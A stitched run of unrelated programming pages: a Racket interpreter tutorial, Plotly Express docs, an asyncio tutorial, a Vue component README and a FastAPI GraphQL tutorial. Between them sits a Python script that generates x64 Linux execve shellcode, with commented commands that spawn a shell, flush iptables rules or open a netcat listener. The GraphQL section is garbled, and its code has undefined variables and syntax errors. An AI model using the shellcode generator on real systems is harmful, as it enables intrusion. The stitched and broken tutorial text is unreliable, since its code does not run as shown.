Finally, one notices the odd placement of parentheses and the plus symbol. The parentheses represent an application of a binary operation, and the position of the plus is a notational standard called Polish notation. These aspects of the syntax may seem odd at first, but they happen to make our lives much simpler by eliminating all the hard parts of parsing expressions. And, of course, every logician knows the advantage of Polish notation: there is absolutely no ambiguity in how to read an expression. These subtle details rear their ugly heads in compiler design, and we may come back to them in the distant future. But for now we ask that the reader accept it, and get used to it, because it turns out the entire Racket language (and Lisp family of languages) is based on this notation.
Here are a three examples of well-formed programs we could write in this early version of Chai:
7 (+ 14 9) (+ 4 10 )
Unfortunately, there are some very simple programs we cannot yet write in Chai. For instance, the following program does not fit into our specification:
(+ 1 (+ 2 3))
Rigorously speaking, this form is not included in the above EBNF program syntax, because the arguments to a sum may only be numbers, and not other expressions. With the obvious self-referential modification, we fix this.
expr = number | (+ expr expr)
Now we may chain additions indefinitely. With the appropriate extension, we could easily extend this to include all binary operations we desire. For instance:
binop = + | - | * | / | ^ | < | ... expr = number | (binop expr expr)
We will do this in the future, but for now, let’s translate these two syntactic forms into Racket code.
Define-Type, and Type-Case
In order to implement our syntax tree, we’d like some sort of internal representation for a language form. Of course, we could just package everything as a list of strings, but our foresight tells us this would get old quick. A structured solution is relatively straightforward; and the code itself turns out to look just like our EBNF tree, but with some additional names for things. In short: we want a datatype that represents each language form, and encapsulates the types of its arguments. In the language of compilers, such a datatype is called an abstract syntax tree (sometimes abbreviated to AST). Here is our first AST for Chai, implemented in Racket.
;; a chai expression (define-type chai-expr [num (val number?)] [sum (lhs chai-expr?) (rhs chai-expr?)])
We explain the notation for those of us not so familiar with Racket: the semicolons start a comment line, which is not part of the program. The variable names in Racket (also called identifiers) allow for many characters that other languages prohibit: hyphens, slashes, question marks, etc., are all valid to use in identifiers. So for those experienced with other languages, don’t mistakenly think these are subtraction operations! Finally, the (define-type chai-expr …) language form defines a new type called ‘chai-expr’, and the following sub-expressions are subtypes. For Java and C/C++ users, this is essentially a shorthand for a bunch of public classes which all inherit the chai-expr interface (an empty interface, that is). The define-type form was specifically designed for creating these abstract syntax trees, and it does a pretty good job of it. Here, each subtype looks like
[type-name (field-1 type-1?) (field-2 type-2?) ...]
where ‘type-name’ and ‘field-j’ are identifiers for all j, and ‘type-j?’ are functions which accept one argument, and return true if the argument is of a specific type. For instance, ‘number?’ is a function which accepts one argument and returns true if and only if the argument is a number (as defined by Racket). For user-defined types, Racket creates these ‘type?’ functions automatically. In addition, Racket creates functions for us to create new instances of these types and access their fields.
This is easier to explain with examples. For instance, I could create some objects and then access their various fields:
> (define y (num 1)) > (num-val y) 1 > (define x (sum (num 2) (num 3))) > (sum-lhs x) (num 2) > (num-val (sum-rhs x)) 3
So ‘num-val’ accesses the ‘val’ field of the ‘num’ type, and so forth for each type we create. This is fine and dandy, but most of the time we won’t know whether our given piece of data is a ‘num’ or a ‘sum’ type. Instead, we will just know it is a ‘chai-expr’ and we’ll have to figure out which subtype it corresponds to. Luckily, Racket has our back again, and provides us with the ‘type-case’ language form. We might use it like this:
> (define my-expr (num 5)) > (type-case chai-expr my-expr [num (val) (string-append "I got a num! It was " (number->string val))] [sum (lhs rhs) "I got a sum! This is rad!"] [else "Getting here is an existential crisis."]) "I got a num! It was 5"
The first argument (for us, ‘chai-expr’) describes which type to inspect, the second is the argument of that type (here, a ‘num’ object), and the subsequent [bracketed] clauses provide cases for each subtype one wants to consider, optionally with an ‘else’ clause which we included superfluously. The Racket interpreter determines which clause is appropriate (here, the ‘num’ clause), and binds the actual arguments of the input (in this case, 5) to the parenthetic field identifiers (in this case, (val)), so that one may use them in the following expression (here, the call to string-append).
As it turns out, define-type and type-case is all the machinery we need to get things working. But before we continue, I should mention that these two functions are not native to Racket. In fact, they come from a package called plai, and they were created using Racket’s nice system for macros. In other words, in Racket one can write new language forms for Racket! We won’t cover those here, but any programming enthusiasts out there might have a lot of fun with exploring the possibilities therein.
The Parser
Once we can translate an expression into branches of our abstract syntax tree, we will find that writing the actual interpreter is extremely easy. So let’s do the hard part first: parsing.
Of course, our choice of Racket-like syntax was in part because parsing such a syntax is relatively easy. In particular, Racket has a nice function that takes a string and converts it into a list of symbols, strings, and numbers (and other certain primitive data types). For instance,
> (read (open-input-string "(hello (there! 7 (+ 2 4)))")) '(hello (there! 7 (+ 2 4)))
Here the leading quote is shorthand for Racket’s “quote” function. The official name for a quoted expression (and what “read” outputs) is s-expression. An s-expression is either a simple value (number, string of characters, boolean, or symbol), or a list of s-expressions. All words within a quoted expression are interpreted as symbols For more on quote, see the Racket Guide’s section on it.
So with an appropriate call to read, we can take a user’s input string and get an organized list of values. In our source code, we implement a more complex read function, which is available in the “chai-utils.rkt” source file on this blog’s Google Code page. With some additional checks to ensure there is exactly one expression to be read, we call this function “read/expect-single.” Its details are decidedly uninteresting, but if the reader is curious, one may find its internals displayed in the aforementioned source file. Similarly, we wrote a function called “expr->string” which accepts an s-expression and prints it out as a string.
As the reader might anticipate, once we have our inputs in the form of a list, parsing becomes a recursive cake-walk. Specifically, we would start with a shell of a function:
;; parse-expr: s-expr -> chai-expr ;; parse an s-expression into a chai expression, or throw an error ;; if it is not well-formed (define (parse-expr input-expr) (cond [(number? input-expr) <do something>] [(list? input-expr) <do something>] [else (error (string-append "parse: unsupported language form: " (expr->string input-expr)))]))
So parse-expr accepts an s-expression, and spits out a well-formed chai-expression, defaulting to an error. Here we use the “cond” language form, which is the Racket analogue to “switch” in C/C++/Java. For everyone else, it allows us to string together a number of conditions without writing cumbersomely many nested if/then/else statements. In each branch of the cond, we narrow down what our possible expression could be. If it satisfies number?, then our expression is a num, and if it satisfies list?, it is likely a sum. From here filling in the <do something> parts is easy: we simply construct the appropriate types:
;; parse-expr: s-expr -> chai-expr ;; parse an s-expression into a chai expression, or throw an error ;; if it is not well-formed (define (parse-expr input-expr) (cond [(number? input-expr) (num input-expr)] [(list? input-expr) (sum (parse-expr (second input-expr)) (parse-expr (third input-expr)))] [else (error (string-append "parse: unsupported language form: " (expr->string input-expr)))]))
Here, “second” and “third” extract the second and third elements of the list, and parse-expr recursively evaluates the arguments (as we noted above when we said a sum had the syntax (+ expr expr)). However, it appears we missed something big: what if the list doesn’t have three elements in it? Someone could try to run the program “(square 7),” expecting a result of 49. This is certainly not a sum, but as of now our parser doesn’t make any distinctions. So we need to add a few more checks. Here is the complete parser, with all appropriate conditions checked and combined using the “and” function:
;; parse-expr: s-expr -> chai-expr ;; parse an s-expression into a chai expression, or throw an error ;; if it is not well-formed (define (parse-expr input-expr) (cond [(number? input-expr) (num input-expr)] [(and (list? input-expr) (eq? (first input-expr) '+) (eq? 3 (length input-expr))) (sum (parse-expr (second input-expr)) (parse-expr (third input-expr)))] [else (error (string-append "parse: unsupported language form: " (expr->string input-expr)))]))
We check to make sure the first thing in the list is the symbol ‘+, and that the list has exactly three elements. Then we can be sure that the user meant to put in a sum.
The parse-expr function, along with our following “interp” function and the tests for both functions, will be stored in the “chai-basic.rkt” source code file on this blog’s Google Code page.
The Interpreter
At this point, we’ve parsed our expressions into the chai-expr datatype, and so now a simple application of type-case is all we need to interpret them. Indeed, the interp function practically writes itself:
;; interp: chai-expr -> number ;; interpret a chai-expression (define (interp input-expr) (type-case chai-expr input-expr [num (val) val] [sum (lhs rhs) (+ (interp lhs) (interp rhs))]))
We don’t need to do any more conditional checking, because we know that anything fed to interp is well-formed. Later, specifically once we add variable references, interp will become much more interesting.
Here the plus function is Racket’s plus. Of course, it seems a bit silly to use + to interpret +, but remember that the point of this series is not to write a language from the ground up, but to get things rolling as quickly as possible, so that we may analyze the more interesting features of programming language semantics. Simply put, arithmetic is boring. We include it simply for familiarity, and because it makes good fodder for writing test cases to ensure our interpreter acts as it should.
Finally, we add one additional function which executes the entire parse/interp chain:
;; evaluate/chai: string -> any ;; perform entire the parse/interp chain (define (evaluate/chai input) (interp (parse input)))
And (at the top of our source file), we “provide” the function so that other Racket programs may access it, specifically with the command (require “chai-basic.rkt”). All of our interpreters in this series will adhere to the same externally-facing interface.
(provide evaluate/chai)
So there we have it! If the reader downloads the source files, he can interpret expressions through Racket’s interactive interpreter. Additionally, the reader is invited to visit our website, where we have set up a program to receive and evaluate chai-programs through the internet. In the future we will store all of our online interpreters here, so one will be able to access Chai at all stages of its development.
Next time, we will finish off a full set of arithmetic operations, and start looking at variables. Until then!
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https://jeremykun.com/2011/09/16/chai-basic/
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Plotly Express Arguments in Python
Input data arguments accepted by Plotly Express functions Express works with Column-oriented, Matrix or Geographic Data¶
Plotly Express is the easy-to-use, high-level interface to Plotly, which operates on a variety of types of data and produces easy-to-style figures.
Plotly Express provides functions to visualize a variety of types of data. Most functions such as
px.bar or
px.scatter expect to operate on column-oriented data of the type you might store in a Pandas
DataFrame (in either "long" or "wide" format, see below).
px.imshow operates on matrix-like data you might store in a
numpy or
xarray array and functions like
px.choropleth and
px.choropleth_mapbox can operate on geographic data of the kind you might store in a GeoPandas
GeoDataFrame. This page details how to provide column-oriented data to most Plotly Express functions.
Plotly Express works with Long-, Wide-, and Mixed-Form Data¶
Until version 4.8, Plotly Express only operated on long-form (previously called "tidy") data, but now accepts wide-form and mixed-form data as well.
There are three common conventions for storing column-oriented data, usually in a data frame with column names:
- long-form data has one row per observation, and one column per variable. This is suitable for storing and displaying multivariate data i.e. with dimension greater than 2. This format is sometimes called "tidy".
- wide-form data has one row per value of one of the first variable, and one column per value of the second variable. This is suitable for storing and displaying 2-dimensional data.
- mixed-form data is a hybrid of long-form and wide-form data, with one row per value of one variable, and some columns representing values of another, and some columns representing more variables. See the wide-form documentation for examples of how to use Plotly Express to visualize this kind of data.
Every Plotly Express function can operate on long-form data (other than
px.imshow which operates only on wide-form input), and in addition, the following 2D-Cartesian functions can operate on wide-form and mixed-form data:
px.scatter,
px.line,
px.area,
px.bar,
px.histogram,
px.violin,
px.box,
px.strip,
px.funnel,
px.density_heatmap and
px.density_contour.
By way of example here is the same data, represented in long-form first, and then in wide-form:
import plotly.express as px long_df = px.data.medals_long() long_df
import plotly.express as px wide_df = px.data.medals_wide() wide_df
Plotly Express can produce the same plot from either form:
import plotly.express as px long_df = px.data.medals_long() fig = px.bar(long_df, x="nation", y="count", color="medal", title="Long-Form Input") fig.show()
import plotly.express as px wide_df = px.data.medals_wide() fig = px.bar(wide_df, x="nation", y=["gold", "silver", "bronze"], title="Wide-Form Input") fig.show()
You might notice that y-axis and legend labels are slightly different for the second plot: they are "value" and "variable", respectively, and this is also reflected in the hoverlabel text. This is because Plotly Express performed an internal Pandas
melt() operation to convert the wide-form data into long-form for plotting, and used the Pandas convention for assign column names to the intermediate long-form data. Note that the labels "medal" and "count" do not appear in the wide-form data frame, so in this case, you must supply these yourself, or you can use a data frame with named row- and column-indexes. You can rename these labels with the
labels argument:
import plotly.express as px wide_df = px.data.medals_wide() fig = px.bar(wide_df, x="nation", y=["gold", "silver", "bronze"], title="Wide-Form Input, relabelled", labels={"value": "count", "variable": "medal"}) fig.show()
Many more examples of wide-form and messy data input can be found in our detailed wide-form support documentation.
import plotly.express as px df = px.data.iris() # Use directly Columns as argument. You can use tab completion for this! fig = px.scatter(df, x=df.sepal_length, y=df.sepal_width, color=df.species, size=df.petal_length) fig.show()
import plotly.express as px df = px.data.iris() # Use column names instead. This is the same chart as above. fig = px.scatter(df, x='sepal_length', y='sepal_width', color='species', size='petal_length') fig.show()
import plotly.express as px df = px.data.iris() fig = px.scatter(df, x=df.sepal_length, y=df.sepal_width, size=df.petal_length, hover_data=[df.index]) fig.show()
Columns not in the
data_frame argument¶
In the addition to columns from the
data_frame argument, one may also pass columns from a different DataFrame, as long as all columns have the same length. It is also possible to pass columns without passing the
data_frame argument.
However, column names are used only if they correspond to columns in the
data_frame argument, in other cases, the name of the keyword argument is used. As explained below, the
labels argument can be used to set names.
import plotly.express as px import pandas as pd df1 = pd.DataFrame(dict(time=[10, 20, 30], sales=[10, 8, 30])) df2 = pd.DataFrame(dict(market=[4, 2, 5])) fig = px.bar(df1, x=df1.time, y=df2.market, color=df1.sales) fig.show()
import plotly.express as px import pandas as pd df = px.data.gapminder() gdp = df['pop'] * df['gdpPercap'] fig = px.bar(df, x='year', y=gdp, color='continent', labels={'y':'gdp'}, hover_data=['country'], title='Evolution of world GDP') fig.show()
import plotly.express as px # List arguments fig = px.line(x=[1, 2, 3, 4], y=[3, 5, 4, 8]) fig.show()
import numpy as np import plotly.express as px t = np.linspace(0, 10, 100) # NumPy arrays arguments fig = px.scatter(x=t, y=np.sin(t), labels={'x':'t', 'y':'sin(t)'}) # override keyword names with labels fig.show()
List arguments can also be passed in as a list of lists, which triggers wide-form data processing, with the downside that the resulting traces will need to be manually renamed via
fig.data[<n>].name = "name".
import plotly.express as px # List arguments in wide form series1 = [3, 5, 4, 8] series2 = [5, 4, 8, 3] fig = px.line(x=[1, 2, 3, 4], y=[series1, series2]) fig.show()
import plotly.express as px import numpy as np N = 10000 np.random.seed(0) fig = px.density_contour(dict(effect_size=5 + np.random.randn(N), waiting_time=np.random.poisson(size=N)), x="effect_size", y="waiting_time") fig.show()
Integer column names¶
When the
data_frame argument is a NumPy array, column names are integer corresponding to the columns of the array. In this case, keyword names are used in axis, legend and hovers. This is also the case for a pandas DataFrame with integer column names. Use the
labels argument to override these names.
import numpy as np import plotly.express as px ar = np.arange(100).reshape((10, 10)) fig = px.scatter(ar, x=2, y=6, size=1, color=5) fig.show()
import plotly.express as px import numpy as np import pandas as pd df = px.data.gapminder() gdp = np.log(df['pop'] * df['gdpPercap']) # NumPy array fig = px.bar(df, x='year', y=gdp, color='continent', labels={'y':'log gdp'}, hover_data=['country'], title='Evolution of world GDP')<<
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The asyncio module was added to Python in version 3.4 as a provisional package. What that means is that it is possible that asyncio receives backwards incompatible changes or could even be removed in a future release of Python. According to the documentation asyncio “provides infrastructure for writing single-threaded concurrent code using coroutines, multiplexing I/O access over sockets and other resources, running network clients and servers, and other related primitives“. This chapter is not meant to cover everything you can do with asyncio, however you will learn how to use the module and why it is useful.
If you need something like asyncio in an older version of Python, then you might want to take a look at Twisted or gevent.
Definitions
The asyncio module provides a framework that revolves around the event loop. An event loop basically waits for something to happen and then acts on the event. It is responsible for handling such things as I/O and system events. Asyncio actually has several loop implementations available to it. The module will default to the one most likely to be the most efficient for the operating system it is running under; however you can explicitly choose the event loop if you so desire. An event loop basically says “when event A happens, react with function B”.
Think of a server as it waits for someone to come along and ask for a resource, such as a web page. If the website isn’t very popular, the server will be idle for a long time. But when it does get a hit, then the server needs to react. This reaction is known as event handling. When a user loads the web page, the server will check for and call one or more event handlers. Once those event handlers are done, they need to give control back to the event loop. To do this in Python, asyncio uses coroutines.
A coroutine is a special function that can give up control to its caller without losing its state. A coroutine is a consumer and an extension of a generator. One of their big benefits over threads is that they don’t use very much memory to execute. Note that when you call a coroutine function, it doesn’t actually execute. Instead it will return a coroutine object that you can pass to the event loop to have it executed either immediately or later on.
One other term you will likely run across when you are using the asyncio module is future. A future is basically an object that represents the result of work that hasn’t completed. Your event loop can watch future objects and wait for them to finish. When a future finishes, it is set to done. Asyncio also supports locks and semaphores.
The last piece of information I want to mention is the Task. A Task is a wrapper for a coroutine and a subclass of Future. You can even schedule a Task using the event loop.
async and await
The async and await keywords were added in Python 3.5 to define a native coroutine and make them a distinct type when compared with a generator based coroutine. If you’d like an in-depth description of async and await, you will want to check out PEP 492.
In Python 3.4, you would create a coroutine like this:
# Python 3.4 coroutine example import asyncio @asyncio.coroutine def my_coro(): yield from func()
This decorator still works in Python 3.5, but the types module received an update in the form of a coroutine function which will now tell you if what you’re interacting with is a native coroutine or not. Starting in Python 3.5, you can use async def to syntactically define a coroutine function. So the function above would end up looking like this:
import asyncio async def my_coro(): await func()
When you define a coroutine in this manner, you cannot use yield inside the coroutine function. Instead it must include a return or await statement that are used for returning values to the caller. Note that the await keyword can only be used inside an async def function.
The async / await keywords can be considered an API to be used for asynchronous programming. The asyncio module is just a framework that happens to use async / await for programming asynchronously. There is actually a project called curio that proves this concept as it is a separate implementation of an event loop thats uses async / await underneath the covers.
A Bad Coroutine Example
While it is certainly helpful to have a lot of background information into how all this works, sometimes you just want to see some examples so you can get a feel for the syntax and how to put things together. So with that in mind, let’s start out with a simple example!
A fairly common task that you will want to complete is downloading a file from some location whether that be an internal resource or a file on the Internet. Usually you will want to download more than one file. So let’s create a pair of coroutines that can do that:
import asyncio import os import urllib.request async def download_coroutine(url): """ A coroutine to download the specified url """ request = urllib.request.urlopen(url) filename = os.path.basename(url) with open(filename, 'wb') as file_handle: while True: chunk = request.read(1024) if not chunk: break file_handle.write(chunk) msg = 'Finished downloading {filename}'.format(filename=filename) return msg async def main(urls): """ Creates a group of coroutines and waits for them to finish """ coroutines = [download_coroutine(url) for url in urls] completed, pending = await asyncio.wait(coroutines) for item in completed: print(item.result()) if __name__ == '__main__': urls = ["", "", "", "", ""] event_loop = asyncio.get_event_loop() try: event_loop.run_until_complete(main(urls)) finally: event_loop.close()
In this code, we import the modules that we need and then create our first coroutine using the async syntax. This coroutine is called download_coroutine and it uses Python’s urllib to download whatever URL is passed to it. When it is done, it will return a message that says so.
The other coroutine is our main coroutine. It basically takes a list of one or more URLs and queues them up. We use asyncio’s wait function to wait for the coroutines to finish. Of course, to actually start the coroutines, they need to be added to the event loop. We do that at the very end where we get an event loop and then call its run_until_complete method. You will note that we pass in the main coroutine to the event loop. This starts running the main coroutine which queues up the second coroutine and gets it going. This is known as a chained coroutine.
The problem with this example is that it really isn’t a coroutine at all. The reason is that the download_coroutine function isn’t asynchronous. The problem here is that urllib is not asynchronous and further, I am not using await or yield from either. A better way to do this would be to use the aiohttp package. Let’s look at that next!
A Better Coroutine Example
The aiohttp package is designed for creating asynchronous HTTP clients and servers. You can install it with pip like this:
pip install aiohttp
Once that’s installed, let’s update our code to use aiohttp so that we can download the files:
import aiohttp import asyncio import async_timeout import os async def download_coroutine(session, url): with async_timeout.timeout(10): async with session.get(url) as response: filename = os.path.basename(url) with open(filename, 'wb') as f_handle: while True: chunk = await response.content.read(1024) if not chunk: break f_handle.write(chunk) return await response.release() async def main(loop): urls = ["", "", "", "", ""] async with aiohttp.ClientSession(loop=loop) as session: tasks = [download_coroutine(session, url) for url in urls] await asyncio.gather(*tasks) if __name__ == '__main__': loop = asyncio.get_event_loop() loop.run_until_complete(main(loop))
You will notice here that we import a couple of new items: aiohttp and async_timeout. The latter is a actually one of the aiohttp’s dependencies and allows us to create a timeout context manager. Let’s start at the bottom of the code and work our way up. In the bottom conditional statement, we start our asynchronous event loop and call our main function. In the main function, we create a ClientSession object that we pass on to our download coroutine function for each of the urls we want to download. In the download_coroutine, we create an async_timeout.timeout() context manager that basically creates a timer of X seconds. When the seconds run out, the context manager ends or times out. In this case, the timeout is 10 seconds. Next we call our session’s get() method which gives us a response object. Now we get to the part that is a bit magical. When you use the content attribute of the response object, it returns an instance of aiohttp.StreamReader which allows us to download the file in chunks of whatever size we’d like. As we read the file, we write it out to local disk. Finally we call the response’s release() method, which will finish the response processing.
According to aiohttp’s documentation, because the response object was created in a context manager, it technically calls release() implicitly. But in Python, explicit is usually better and there is a note in the documentation that we shouldn’t rely on the connection just going away, so I believe that it’s better to just release it in this case.
There is one part that is still blocking here and that is the portion of the code that actually writes to disk. While we are writing the file, we are still blocking. There is another library called aiofiles that we could use to try and make the file writing asynchronous too, but I will leave that update to the reader.
Scheduling Calls
You can also schedule calls to regular functions using the asyncio event loop. The first method we’ll look at is call_soon. The call_soon method will basically call your callback or event handler as soon as it can. It works as a FIFO queue, so if some of the callbacks take a while to run, then the others will be delayed until the previous ones have finished. Let’s look at an example:
import asyncio import functools def event_handler(loop, stop=False): print('Event handler called') if stop: print('stopping the loop') loop.stop() if __name__ == '__main__': loop = asyncio.get_event_loop() try: loop.call_soon(functools.partial(event_handler, loop)) print('starting event loop') loop.call_soon(functools.partial(event_handler, loop, stop=True)) loop.run_forever() finally: print('closing event loop') loop.close()
The majority of asyncio’s functions do not accept keywords, so we will need the functools module if we need to pass keywords to our event handler. Our regular function will print some text out to stdout whenever it is called. If you happen to set its stop argument to True, it will also stop the event loop.
The first time we call it, we do not stop the loop. The second time we call it, we do stop the loop. The reason we want to stop the loop is that we’ve told it to run_forever, which will put the event loop into an infinite loop. Once the loop is stopped, we can close it. If you run this code, you should see the following output:
starting event loop
Event handler called
Event handler called
stopping the loop
closing event loop
There is a related function called call_soon_threadsafe. As the name implies, it works the same way as call_soon, but it’s thread-safe.
If you want to actually delay a call until some time in the future, you can do so using the call_later function. In this case, we could change our call_soon signature to the following:
loop.call_later(1, event_handler, loop)
This will delay calling our event handler for one second, then it will call it and pass the loop in as its first parameter.
If you want to schedule a specific time in the future, then you will need to grab the loop’s time rather than the computer’s time. You can do so like this:
current_time = loop.time()
Once you have that, then you can just use the call_at function and pass it the time that you want it to call your event handler. So let’s say we want to call our event handler five minutes from now. Here’s how you might do it:
loop.call_at(current_time + 300, event_handler, loop)
In this example, we use the current time that we grabbed and append 300 seconds or five minutes to it. By so doing, we delay calling our event handler for five minutes! Pretty neat!
Tasks
Tasks are a subclass of a Future and a wrapper around a coroutine. They give you the ability to keep track of when they finish processing. Because they are a type of Future, other coroutines can wait for a task and you can also grab the result of a task when it’s done processing. Let’s take a look at a simple example:
import asyncio async def my_task(seconds): """ A task to do for a number of seconds """ print('This task is taking {} seconds to complete'.format( seconds)) await asyncio.sleep(seconds) return 'task finished' if __name__ == '__main__': my_event_loop = asyncio.get_event_loop() try: print('task creation started') task_obj = my_event_loop.create_task(my_task(seconds=2)) my_event_loop.run_until_complete(task_obj) finally: my_event_loop.close() print("The task's result was: {}".format(task_obj.result()))
Here we create an asynchronous function that accepts the number of seconds it will take for the function to run. This simulates a long running process. Then we create our event loop and then create a task object by calling the event loop object’s create_task function. The create_task function accepts the function that we want to turn into a task. Then we tell the event loop to run until the task completes. At the very end, we get the result of the task since it has finished.
Tasks can also be canceled very easily by using their cancel method. Just call it when you want to end a task. Should a task get canceled when it is waiting for another operation, the task will raise a CancelledError.
Wrapping Up
At this point, you should know enough to start working with the asyncio library on your own. The asyncio library is very powerful and allows you to do a lot of really cool and interesting tasks. The Python documentation is a great place to start learning the asyncio library.
UPDATE: This article was recently translated into Russian here.
Related Reading
- Python’s asyncio documentation
- Python Module of the Week: asyncio
- Brett Cannon – How the heck does async / await work in Python 3.5?
- StackAbuse – Python async await tutorial
- Medium – A slack bot with Python 3.5’s asyncio
- Math U Code – Understanding Asynchronous IO With Python 3.4’s Asyncio And Node.js
- Dr Dobbs – The new asyncio module in Python 3.4: Event Loops
- Effective Python Item 40: Consider Coroutines to Run Many Functions Concurrently
- PEP 492 — Coroutines with async and await syntax
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https://www.blog.pythonlibrary.org/2016/07/26/python-3-an-intro-to-asyncio/
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Download / View Raw
#
# Features:
# - Linux shellcode x64 assembly code generation
# - stack based (smaller payload size)
# - execve based
# - supports long commands (meaning bigger than an x64 register - 64 bits)
# - supports long parameters (meaning bigger than an x64 register - 64 bits)
# - one command only (execve will alter the current memory proc and when it exits there's no continuation)
# - supports command with up to 8 parameters
#
# Instructions
# - requires full path to the command
# - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
# - after having the x64 generated assembly code:
# - copy paste it into a file (in a Linux environment) - example.nasm
# - execute:
# nasm -felf64 example.nasm -o example.o && ld example.o -o example
#
# Author: Andre Lima @0x4ndr3
#
#
########
command = "/bin/sh"
#command = "/sbin/iptables -F INPUT"
#command = "/bin/nc -lvp 3000"
#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"
def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))
code = ""
code += "global _start\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "push 59\n"
code += "pop rax\n"
code += "cdq\n"
code += "push rdx\n"
params = command.split(' ')
try:
params.remove('') # in case of multiple spaces in between params in the command - cleanup
except: # it throws an exception if it doesn't finds one
pass
if len(params[0]) % 8 != 0:
command = "/"*(8-len(params[0])%8) + params[0]
iters = len(command)/8 - 1
while iters >= 0:
block = command[iters*8:iters*8+8]
code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
code += "push rbx\n"
iters -= 1
code += "push rsp\n"
code += "pop rdi\n"
aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
i = 0
params = params[1:] # remove first element - command itself. we just want the params
if len(params) > len(aux_regs):
print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
exit(1)
for p in params:
code += "push rdx\n"
if len(p) % 8 != 0:
p += "\x00"*(8-len(p)%8)
iters = len(p)/8 -1
while iters >= 0: # each param
block = p[iters*8:iters*8+8]
code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
code += "not rbx\n"
code += "push rbx\n"
iters -= 1
code += "push rsp\n"
code += "pop " + aux_regs[i] + "\n"
i += 1
code += "push rdx\n"
code += "push rsp\n"
code += "pop rdx\n"
while i>0:
i -= 1
code += "push " + aux_regs[i] + "\n"
code += "push rdi\n"
code += "push rsp\n"
code += "pop rsi\n"
code += "syscall\n"
print code
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https://exploit.kitploit.com/2018/04/linuxx64-x64-assembly-shellcode.html
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A vue component to highlight text as you're typing
Highlight and style specific words as you're typing.
Vue Highlightable Input
Highlight and style specific words as you're typing.
Install
npm install vue-highlightable-input --save
Usage
In your template add this:
<highlightable-input
In your component add this:
import HighlightableInput from "vue-highlightable-input" export default { name: 'HelloWorld', components : { HighlightableInput }, data() { return { msg: '', highlight: [ {text:'chicken', style:"background-color:#f37373"}, {text:'noodle', style:"background-color:#fca88f"}, {text:'soup', style:"background-color:#bbe4cb"}, {text:'so', style:"background-color:#fff05e"}, "whatever", {start: 2, end: 5, style:"background-color:#f330ff"} ], highlightEnabled: true } }, }
Props
Highlight Object
{ text:'chicken', // Required style:"background-color:#f37373" // Optional caseSensitive: true // Optional defaults to False }
Range Object
{ start:1, // Required end: 9, // Required style:"background-color:#f37373" // Optional }
End must be greater than start. The range end is exlusive in other words ==> [start, end)
Events
Note, that you can also use
v-model
Some notes
- This is not meant to be used for large scale text highlight because of how inefficient div contentEditable is and also the fact the algorithm I'm using is stupidly inefficient (try entering like a lot of text for highlighting)
- Good use cases for this are something like what wit.ai does (they probably have a more efficient algorithm though) for highlighting recognized entities on the fly.
- Let me know what other use cases you might have!
Why make this?
- I liked the way wit.ai does highlighting and I wanted to recreate that in Vue.
- Because I was bored and also had a similar problem at work (No, I wasn't bored at work! Quite the opposite actually.)
- Because I still know nothing about web development and I'm still a n00b. Roast me bro.
- Because it looks cool!
Credits
For the cool highlighter pen icon: Icons made by Freepik from Flaticon is licensed by Creative Commons BY 3.0
License
MIT
Github Repository
Tags: #VueJs #Text #Input #Highlighting
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:
python --version
Note: If you don’t have it installed, get it here.
To build this project we will need the following Python packages:
Let’s go ahead and install these packages in our virtual environment:
fastapi[uvicorn] ariad:
async def hello_world(): return "Hello world"
- Using
await, we would call our asynchronous function as follows:
obytes = await hello_world()
Writing the GraphQL schema
- Create a file called schema.graphql. We will use it to define our GraphQL schema.
Custom types:
Our schema will include five custom types, described below.
type User { id: ID! // This is the id of the user email: String! // This is the email of the user password: String! // This is the password of the user } type blog { id: ID! // This is the id of the blog title: String! // This is the title of the blog description: String! // This is the description of the blog completed: Boolean! // This is the completed status of the blog ownerId: ID! // This is the id of the owner of the blog } type blogResult { errors: [String] // This is the list of errors blog: blog // This is the blog } type blogsResult { errors: [String] blogs: [blog] // This is the list of blogs } type InsertResult { errors: [String] id: ID // This is the id of the inserted blog } type TokenResult { errors: [String] token: String // This is the token }
- After Define the schema, lets add the Query, Mutation, Subscription and Type definitions.
schema { query: Query // This is the query type mutation: Mutation // This is the mutation type subscription: Subscription // This is the subscription type } type Query { blogs: blogsResult! // This is the list of blogs blog(blogId: ID!): blogResult! // This is the blog } type Mutation { createblog(title: String!, description: String!): InsertResult! // This is the blog createUser(email: String!, password: String!): InsertResult! // This is the user createToken(email: String!, password: String!): TokenResult! // This is the token } type Subscription { reviewblog(token:String!): InsertResult! // This is the blog }
Setting up the project
Create a file called
app.py and add the code below:
from ariadne import QueryType, make_executable_schema, load_schema_from_path from ariadne.asgi import GraphQL type_defs = load_schema_from_path("schema.graphql") query = QueryType() @query.field("hello") def resolve_hello(*_): return "Hello world!" schema = make_executable_schema(type_defs, query) app = GraphQL(schema, debug=True)
We read the schema defined in the
schema.graphql file and added a simple query called hello that we will use to test that our server is running. Our server is now ready to accept requests.
- Start the server by running:
uvicorn app:app --reload
- Open the GraphQL PlayGround by visiting. Paste the hello query below and hit the “Play” button:
query { hello }.
users = {} blog = [] queues = []
Define API & GraphQL
Defining the mutations
Let’s add resolvers for the mutations defined in the schema. These will live inside a file called mutations.py. Go ahead and create it.
First add the
createUser resolver to mutations.py.
from ariadne import ObjectType, convert_kwargs_to_snake_case from store import users, blogs mutation = ObjectType("Mutation") @mutation.field("createUser") @convert_kwargs_to_snake_case async def resolve_create_user(obj, info, email, password): try: if not users.get(username): user = { "id": len(users) + 1, "email": email, "password": password, } users[username] = user return { "success": True, "user": user } return { "success": False, "errors": ["Username is taken"] } except Exception as error: return { "success": False, "errors": [str(error)] }
We import
ObjectType and
convert_kwargs_to_snake_case from the Ariadne package.
ObjectType is used to define the mutation resolver, and
convert_kwargs_to_snake_case recursively converts arguments case from
camelCase to
snake_case.
We also import users and blogs from store.py, since these are the variables we will use as storage for our users and blogs.
@mutation.field("createblog") @convert_kwargs_to_snake_case async def resolve_create_blog(obj, info, content, title, description, completed, ownerId): try: blog = { "ID": id, "title": title, "description": description "completed": completed, "ownerId": ownerId } blogs.append(blog) return { "success": True, "blog": blog } except Exception as error: return { "success": False, "errors": [str(error)] }
In
